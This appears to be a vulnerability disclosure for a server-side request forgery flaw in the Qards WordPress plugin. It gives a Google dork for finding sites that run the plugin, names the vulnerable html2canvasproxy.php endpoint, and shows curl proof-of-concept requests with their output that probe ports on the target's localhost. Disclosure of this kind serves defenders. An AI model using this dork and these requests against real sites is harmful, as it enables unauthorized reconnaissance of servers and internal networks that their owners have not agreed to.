Qards – Server Side Request Forgery (SSRF)

Description

Google Dork: inurl:"plugins/qards"

Qards provides you easy option to drag and edit every part and element of your site in the front-end, you will never have to write any code to change the layout or to change any part of the site like the traditional WordPress way.

Proof of Concept

The vulnerable script http://target/wp-content/plugins/qards/html2canvasproxy.php
get the value of the "url" parameter and, using CURL PHP functions, saves the website's content to a file at /wp-content/plugins/qards/images/.

Using this feature, an attacker could check if a specific TCP port is listening on the target localhost or local network by parsing different response messages.


POC:

# An open 22/tcp port:
$ curl -s 'http://target/wp-content/plugins/qards/html2canvasproxy.php?url=http://127.0.0.1:22'
console.log("error: html2canvas-proxy-php: This request did not return a HTTP response valid");

# A closed 1234/tcp port:
$ curl -s 'http://target/wp-content/plugins/qards/html2canvasproxy.php?url=http://127.0.0.1:1234'
console.log("error: html2canvas-proxy-php: SOCKET: Connection refused(111)");